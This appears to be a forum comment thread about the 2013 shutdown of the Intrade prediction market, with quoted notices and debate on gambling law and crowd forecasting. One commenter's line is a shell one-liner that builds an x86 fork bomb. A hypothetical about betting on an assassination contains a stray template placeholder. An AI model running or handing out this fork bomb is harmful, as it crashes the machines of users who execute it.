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Intrade Shutdown Hurts Academics
New submitter jader3rd writes "Intrade, a popular Irish website that lets people bet on anything, has shut down. In addition to being used by gamblers, Intrade has been used by academics and pundits to track public sentiment. '"... broad crowds have a lot of information and that markets are an effective way of aggregating that information," says Justin Wolfers, "and they often turn out to be much better than experts."' Being forced to lose their U.S. customers couldn't have helped.
The question isn't whether other people "should have" the right to gamble.
The question is whether YOU should have the right to employ violence (meaning physical force or threat thereof) against other people in an attempt to stop them from gambling.
Now that the question has been properly rephrased, it can be properly answered.
You're better off going to intrade's website here for information: http://www.intrade.com/
" With sincere regret we must inform you that due to circumstances recently discovered we must immediately cease trading activity on www.intrade.com.
These circumstances require immediate further investigation, and may include financial irregularities which in accordance with Irish law oblige the directors to take the following actions:
Cease exchange trading on the website immediately.
Settle all open positions and calculate the settled account value of all Member accounts immediately.
Cease all banking transactions for all existing Company accounts immediately.
During the upcoming weeks, we will investigate these circumstances further and determine the necessary course of action.
To mitigate any further risk to members’ accounts, we have closed and settled all open contracts at fair market value as of the close of business on March 10, 2013, in accordance with the Terms and Conditions of our customers’ use of the website. You may view your account details and settled account balances by logging into the website.
At this time and until further notice, it is not possible to make any payments to members in accordance with their settled account balance until the investigations have concluded.
The Company will continue the maintenance and technology operations of the exchange system so that all information is preserved properly.
We are not able to provide telephone support or live help services at this time, please contact the company by email at: accountservices@intrade.com
We appreciate your custom and support over the years. We are committed to reporting faithfully the status of things as they are clarified and hope you will bear with us as we do all we can to resume operations as promptly as possible.
Sincerely,
The Board of Directors of Intrade the Prediction Market Limited "
Some people die at 25 and aren't buried until 75. -Benjamin Franklin
I bet this wouldn't have happened!
"The moves followed concerns raised by the company’s auditors over more than $1.5 million payments to Intrade’s founder, John Delaney, and other unnamed third parties. The transactions, according Intrade’s auditors, were not sufficiently documented."
http://dealbook.nytimes.com/2013/03/11/online-betting-site-intrade-halts-operations/
Some people die at 25 and aren't buried until 75. -Benjamin Franklin
The summary left out the an important part of the about why Intrade is closing.
According to www.Intrade.com
" With sincere regret we must inform you that due to circumstances recently discovered we must immediately cease trading activity on www.intrade.com.
These circumstances require immediate further investigation, and may include financial irregularities which in accordance with Irish law oblige the directors to take the following actions: "
In 2005, Intrade specifically made an agreement with the CFTC not to trade options on commodities and futures. Then in 2011 they broke that agreement by offering options on commodities and futures, thus resulting in the CFTC filing a lawsuit against them. At one point they limited the access of the api to a few customers to prevent competition from other members.
I never understood why Intrade got so much press--the Iowa Electronic Market has been doing the "online futures trading" thing for far longer. They're still up and running at: http://tippie.uiowa.edu/iem/
And they have approval from the CTFC: http://www.cftc.gov/files/foia/repfoia/foirf0503b004.pdf
rage, rage against the dying of the light
Err, bad news... I doubt the shutdown was religiously motivated.
Even outright atheists in government would happily close the site. Why? Because government doesn't get the huge 'vig' off of it, like they do with lotteries and suchlike. Now state lotteries on the other hand (especially as they expand into casino territory, with "video lottery" slot machines, keno, etc)? Well, the governments get their take in way bigger chunks. This in turn raises a huge incentive to keep competition from private industry to a minimum.
After all, if folks are going to gamble anyway, you may as well make it a levy on idiocy while funding government coffers at the same time...
Quo usque tandem abutere, Nimbus, patientia nostra?
The problem I have with futures trading is that it creates incentive for things to go one way or another.
What if I were to bet 500k that ${ASSASSINATION_TARGET} was not going to die by getting shot and then thrown in the east river tomorrow?
Someone who sees that would then have incentive to make that happen.
Even in more limited ways it can still be a problem. Sports history has instances of people throwing games in order to make large amounts of money. I could see the same causing sabotage in industry. You cant publicly bet on things without changing the probability that they will happen.
The CIA actually run a prediction market for a while until public outcry caused them to shut it down.
http://www.forbes.com/sites/andygreenberg/2011/04/20/cia-investors-aim-to-build-a-pseudo-gambling-market-for-data-security-predictions/
The CIA has long been intrigued by the intelligence potential of prediction markets. A 2006 paper the agency published cited examples like betting markets that predict election outcomes more accurately than polls, and orange juice future markets that predict weather better than meteorological organizations. It also pointed to the use of prediction markets within corporations like Google and Eli Lilly, which have sometimes skirted gambling laws by supplying their employees with âoeinvestment fundsâ and given them an opportunity to make wagers based on their knowledge.
The Defense Advanced Projects Research Agency (DARPA) even launched its own prediction market known as FutureMAP for intelligence purposes in 2001, though the program was canceled for political reasons in 2003. As the CIAâ(TM)s paper notes, Senators Byron Dorgan and Ron Wyden called such experiments âoeterrorism betting parlors,â and argued that âoespending millions of dollars on some kind of fantasy league terror game is absurd and, frankly, ought to make every American angry.â
What's interesting is that prediction markets seem to have advantages over opinion polls. E.g.
http://www.lewrockwell.com/rozeff/rozeff88.html
In an article in support of rational markets, Mark Rubinstein relates this story:
"At 3:15 p.m. on May 27, 1968, the submarine USS Scorpion was officially declared missing with all 99 men aboard. She was somewhere within a 20-mile-wide circle in the Atlantic, far below implosion depth. Five months later, after extensive search efforts, her location within that circle was still undetermined. John Craven, the Navy's top deep-water scientist, had all but given up. As a last gasp, he asked a group of submarine and salvage experts to bet on the probabilities of different scenarios that could have occurred. Averaging their responses, he pinpointed the exact location (within 220 yards) where the missing sub was found."
James Surowiecki in his book The Wisdom of Crowds tells the story of the game show "Who Wants to be a Millionaire" in which a contestant could ask an expert for help with a question or ask the audience. The experts were right 65 percent of the time, and the audience was right 91 percent of the time.
Jude Wanniski related a story told to him by Jack Treynor, a finance guru. Treynor had his class guess the number of jelly beans in a jar holding 850 beans. The average guess was within 3 percent of the total. Wanniski, by the way, correctly realized that this supported the efficiency of financial markets. He also, in my opinion incorrectly, construed this as proof of the efficiency of political markets, an opinion he expanded upon in The Way the World Works.
Prediction markets in general perform exceedingly well compared to individual forecasts. In his article on prediction markets, Philip O'Connor writes: "In fact, studies of prediction markets have found that the market price does a better job of predicting future events than all but a tiny percentage of individual guesses. The analysis below of the Virtual Super 12 shows the average selection, an average or constructed market price, to be better than 99% of participants' selections."
He continues: "A short list of other evidence includes the following:
Markets that predict elections have been shown to outperform the predictions of opinion polls.
Prediction markets on movie box-office receipts and more obscure events have been shown to correspond closely with actual outcomes.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
In general terms its called "insurable interest". If you are exposed to a loss and you hedge against it, its insurance. If its not your house (or football team*), its gambling.
*The league has their own regulations prohibiting "insurance" against a loss by those with financial exposure to sporting outcomes like team owners.
Have gnu, will travel.
Because you haven't been following the line on Intrade getting shut down.
Have gnu, will travel.